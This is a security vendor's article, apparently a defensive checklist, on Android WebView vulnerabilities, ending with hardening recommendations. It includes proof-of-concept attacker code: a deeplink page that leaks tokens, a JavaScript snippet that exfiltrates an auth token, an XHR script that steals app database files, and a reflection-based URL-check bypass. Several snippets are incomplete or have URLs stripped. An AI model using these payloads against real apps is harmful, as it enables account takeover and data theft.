Android security checklist: WebView

WebView is a web browser that can be built into an app, and represents the most widely used component of the Android ecosystem; it is also subject to the largest number of potential errors. If it is possible to load arbitrary URLs or to execute JavaScript code controlled by the attacker, we most often have to deal with the leaking of authentication tokens, the theft of arbitrary files and access to arbitrary activities – which can even lead to remote code execution.

Oversecured offers solutions to discover vulnerabilities in mobile apps automatically. You can integrate Oversecured Android and iOS vulnerability scanners into your CI/CD to proactively secure your apps against these vulnerabilities. The CI/CD process can also be fully automated using plugins. Our solutions will continuously monitor your apps and alert you if any new vulnerabilities are detected.

Start securing your apps by beginning a trial from Quick Start, or you can contact us to learn more.


Ways of exploiting WebView:

Ways to increase the impact of the attack if the attacker was able to load an arbitrary URL:

Finally, we provide recommendations.

Typical example of the vulnerability

The commonest version is the case where there are no checks or limitations on loading arbitrary URLs inside WebView. Let’s suppose we have a DeeplinkActivity that processes a URL such as myapp://deeplink.

File AndroidManifest.xml

    <activity android:name=".DeeplinkActivity">
            <action android:name="android.intent.action.VIEW" />
            <category android:name="android.intent.category.DEFAULT" />
            <data android:scheme="myapp" android:host="deeplink" />

Inside, it has the ability to process WebView deeplinks:

    public class DeeplinkActivity extends Activity {
        protected void onCreate(Bundle savedInstanceState) {

        private void handleDeeplink(Intent intent) {
            Uri deeplink = intent.getData();
            if ("/webview".equals(deeplink.getPath())) {
                String url = deeplink.getQueryParameter("url");

        private void handleWebViewDeeplink(String url) {
            WebView webView = ...;
            webView.loadUrl(url, getAuthHeaders());

        private Map<String, String> getAuthHeaders() {
            Map<String, String> headers = new HashMap<>();
            headers.put("Authorization", getUserToken());
            return headers;

In this case the attacker can carry out a remote attack to obtain the user’s authentication token by creating a page with the following code:

    <!DOCTYPE html>
    <body style="text-align: center;">
        <h1><a href="myapp://deeplink/webview?url=">Attack</a></h1>

When the user taps Attack, the vulnerable app automatically opens in the built-in WebView, adding the user’s token to the header of the HTTP request. The attacker can therefore steal it and gain access to the victim’s account.

Insufficient URL validation

Developers sometimes try to check which URLs are loaded in WebView, but do so incorrectly. OVAA (Oversecured Vulnerable Android App) contains an example of this vulnerability. The scan report for it looks like this: vulnerability

In this section we shall look at typical attacks on URL validation.

Only checking host

This is one of the most typical errors. Only the value of host is checked, forgetting about scheme:

    private boolean isValidUrl(String url) {
        Uri uri = Uri.parse(url);
        return "".equals(uri.getHost());

The attacker can use, for instance, the javascript, content or file schemes to bypass the checks:

  • javascript://
  • file://
  • content://

In the case of the javascript scheme, the attacker can execute arbitrary JavaScript code in WebView. In the case of the content scheme, they can claim a content provider with the specified authority and return arbitrary files by using the ContentProvider.openFile(...) method. The file scheme allows them to open a file in the public directory.

Logic errors in the verification process

We also encounter an error where developers use logically incorrect methods to verify URLs:

    private boolean isValidUrl(String url) {
        Uri uri = Uri.parse(url);
        return "https".equals(uri.getScheme()) && uri.getHost().endsWith("");

We have also seen the String.contains(...) method used. In this case there is an obvious way to bypass the verification.

Attack using HierarchicalUri and the Java Reflection API

Let’s glance at an example of seemingly secure URL validation:

    Uri uri = getIntent().getData();
    boolean isValidUrl = "https".equals(uri.getScheme()) && uri.getUserInfo() == null && "".equals(uri.getHost());
    if (isValidUrl) {
        webView.loadUrl(uri.toString(), getAuthHeaders());
    } is widely used on Android, but in fact it is an abstract class.$HierarchicalUri is one of its subclasses. The Java Reflection API makes it possible to create a Uri capable of bypassing this check.


    public class MainActivity extends Activity {
        protected void onCreate(Bundle savedInstanceState) {

            Uri uri;
            try {
                Class partClass = Class.forName("$Part");
                Constructor partConstructor = partClass.getDeclaredConstructors()[0];

                Class pathPartClass = Class.forName("$PathPart");
                Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];

                Class hierarchicalUriClass = Class.forName("$HierarchicalUri");
                Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];

                Object authority = partConstructor.newInstance("", "");
                Object path = pathPartConstructor.newInstance("", "");
                uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
            catch (Exception e) {
                throw new RuntimeException(e);

            Intent intent = new Intent();
            intent.setClass(this, TestActivity.class);


    public class TestActivity extends Activity {
        protected void onCreate(Bundle savedInstanceState) {

            Intent intent = getIntent();
            Uri uri = intent.getData();

            Log.d("evil", "Scheme: " + uri.getScheme());
            Log.d("evil", "UserInfo: " + uri.getUserInfo());
            Log.d("evil", "Host: " + uri.getHost());
            Log.d("evil", "toString(): " + uri.toString());

The log will be as follows:

Scheme: https
UserInfo: null

This attack is only possible by using a third-party app installed on the same device, and if the vulnerable app takes a Uri object controlled by the attacker and works exclusively with that. If we make a change such as

    Uri uri = Uri.parse(intent.getData().toString());

then this attack becomes impossible.

Important! Beginning from API level 28 (Android 9), the use of internal interfaces is forbidden – but this can easily be bypassed by using tools such as RestrictionBypass.

Backslashes on old versions of Android

On devices with API level 1-24 (up to Android 7.0), and parsers works incorrectly. If we run the following code

    String url = "\\\\";
    Log.d("evil", Uri.parse(url).getHost()); // `` printed
    webView.loadUrl(url, getAuthHeaders()); // `` loaded

Thus, this attack allows us to bypass checks such as

    private boolean isValidUrl(String url) {
        Uri uri = Uri.parse(url);
        return "https".equals(uri.getScheme()) && "".equals(uri.getHost());

If your app contains a value of minSdkVersion lower than 25, you need to protect yourself against this attack.

There are several possible protections:

  • set the value of minSdkVersion to 25 or above;
  • use the class for validation: it throws a URISyntaxException if backslashes are discovered in the authority part;
  • verify the value of authority, not host.

Universal XSS

Besides the obvious cases, where an attacker controls the baseUri and data parameters in a call to

            null, null, null);

and receives XSS on an arbitrary website, there is also another widespread version of UXSS. Let’s look at the code of the exported WebActivity:

    public class WebActivity extends Activity {
        private WebView webView;

        protected void onCreate(Bundle savedInstanceState) {

            this.webView = findViewById(;


        protected void onNewIntent(Intent intent) {

In this case onCreate is called when the activity is launched for the first time, and onNewIntent is called each time the activity receives a new Intent. The following code allows to achieve UXSS in the vulnerable app:

    Intent intent = new Intent();
    intent.setClassName("com.victim", "com.victim.WebActivity");

    new Handler().postDelayed(() -> {
    }, 3000);

When it is first run it opens a domain within whose context arbitrary JavaScript code must be executed. The second time, this code is executed using the javascript scheme.

JavaScript code injections

Developers often concatenate data with JavaScript code insecurely, leading to XSS on the domain that is loaded:

    String page = getIntent().getData().getQueryParameter("page");
    this.webView.evaluateJavascript("loadPage('" + page + "')", null);

or with the javascript scheme:

    this.webView.loadUrl("javascript:loadPage('" + page + "')");

If you concatenate data with JavaScript code, we advise you to use JSON methods to sanitize the data.

This attack resembles DOM-based XSS in the web world. But on Android, depending on the WebView configurations we shall explain below, it is possible to carry the exploitation of the vulnerability further.

Attacks on internal URL handlers

Many Android apps employ custom URL handlers using the WebViewClient.shouldOverrideUrlLoading(...) method, but their functionality is often implemented insecurely:

    class CustomClient extends WebViewClient {
        public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
            Uri uri = request.getUrl();
            String url = uri.toString();
            if (url.startsWith("intent://")) {
                try {
                    Intent intent = Intent.parseUri(url, 0);
                } catch (URISyntaxException e) {
                return true;

            String page;
            if ((page = uri.getQueryParameter("page")) != null) {
                view.evaluateJavascript("loadPage('" + page + "')", null);
                return true;
            return super.shouldOverrideUrlLoading(view, request);
    this.webView.setWebViewClient(new CustomClient());

At the moment each URL is loaded, WebView calls the shouldOverrideUrlLoading method to check whether it needs to be handled by the app or by WebView itself. As a rule, this is used to launch activities or handlers for an additional list of deeplinks. It is important to note that even if the attacker cannot bypass the check on loading arbitrary domains, they may still be able to try to exploit the handlers.

For instance, in this example the attacker can launch arbitrary activities (we have analyzed this attack in more detail elsewhere) and achieve XSS on the page that is loaded, by opening'-alert(1)-'.

Attacks on JavaScript interfaces

If the app adds JavaScript interfaces to WebView, an attacker can gain access to them if they can execute arbitrary code within this WebView. As a rule, JS interfaces are divided into two categories: the first return data (such as geolocation or the user’s authentication token), and the second perform actions (such as taking a photo or sending queries to designated endpoints).

    class JSInterface {
        public String getAuthToken() {

        public void takePicture(String callback) {
        this.webView.addJavascriptInterface(new JSInterface(), "JSInterface");

In this case, WebView automatically creates a JavaScript object with the specified name and with methods that are also imported from the Java code. To obtain the user’s token from this example, all we need to do is run the following code:

    <script type="text/javascript">
        location.href = "" + JSInterface.getAuthToken();

Attacks where universal/file access from file URLs is enabled

This attack is possible where universal/file access from file URLs is turned on:




and the attacker can load an arbitrary URL into WebView:


In this case the attacker can use XHR queries to obtain the content of arbitrary files to which the vulnerable app has access:

    <script type="text/javascript">
        function theftFile(path, callback) {
          var req = new XMLHttpRequest();

"GET", "file://" + path, true);
          req.onload = function(e) {
          req.onerror = function(e) {

        var file = "/data/user/0/com.victim/databases/user.db";

        theftFile(file, function(contents) {
            location.href = "" + encodeURIComponent(contents);

The scan report for OVAA includes an example of a notification concerning this vulnerability: vulnerability

Attacks on WebResourceResponse

We have gone into this attack in Android: Exploring vulnerabilities in WebResourceResponse.

Attacks on content providers

Content access (or access to any content:// URIs) is turned on by default, which means WebView can use any content providers available to the app on the user’s device. We have encountered vulnerabilities where providers didn’t only record or supply data, but also performed dangerous actions:

    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
        if ("/debug".equals(uri.getPath())) {
            FileUtils.dumpData(); // copies all files from the internal directory to the SD card
            return null;

In this example it would have been possible to load a URL like content://provider.authority/debug into WebView and then read dumped data on the SD card.

So, if this setting is not explicitly turned off, you need to pay attention to exactly what the content providers are doing – especially those that are not exported.

Installing cookies for third-party sites

Sometimes WebView uses cookies for authorization instead of headers like Authorization. To do this, the app uses the CookieManager and sets a token in the cookie for the URL, which can be controlled by the attacker, and then opens it:

    String attackerControlledUrl = getIntent().getDataString();

    CookieManager manager = CookieManager.getInstance();
    manager.setCookie(attackerControlledUrl, "token=" + getUserToken());

In this case, you must first validate the URL and then install the cookie. For example, if a sensitive cookie is installed for the attacker’s domain, but is not loaded immediately, then this still poses a threat, because this domain can be opened elsewhere in the app (remember that in one app all WebViews have a common cookie storage if the default configuration is used).

The best solution for this architecture is to create a list of trusted domains and pre-install authorization cookies for them.


To prevent vulnerabilities, or at least to reduce their potential impact, we recommend performing the following actions for each WebView you use:

  • switch off geolocation, by calling WebSettings.setGeolocationEnabled(false);
  • switch off content access, by calling WebSettings.setAllowContentAccess(false);
  • switch off file access by calling WebSettings.setAllowFileAccess(false) if your minSdkVersion is 29 or below;
  • switch off file access from file URLs by calling WebSettings.setAllowFileAccessFromFileURLs(false) if your minSdkVersion is 15 or below;
  • switch off universal file access from file URLs by calling WebSettings.setAllowUniversalAccessFromFileURLs(false) if your minSdkVersion is 15 or below;
  • if any external links are loaded in WebView, it is essential to validate the origin that is loaded correctly – checking both scheme and host;
  • wherever JavaScript is called with externally obtained data, you just make sure it has been sanitized;
  • if internal handlers change URLs into Intent objects, the component and selector fields of the latter must be reset. For additional security, verify that the activity opened with the given Intent is exported and that either no permissions are set for it, or else they have a protectionLevel set to normal;
  • if the app has a custom implantation of WebResourceResponse, you need to make sure that an attacker cannot obtain the content of arbitrary files;
  • make sure the debugging of web contents option is switched off in release builds;
  • do not install sensitive cookies for unverified domains.

Preventing these vulnerabilities

It can be difficult to keep track of security, especially in large projects. You can make use of the Oversecured mobile vulnerability scanner, since it tracks all known security issues on Android including errors when working with WebViews. We check whether your app is subscription to the vulnerabilities described here, and also others that are rarer and more exotic. To begin testing your apps, use Quick Start or contact us.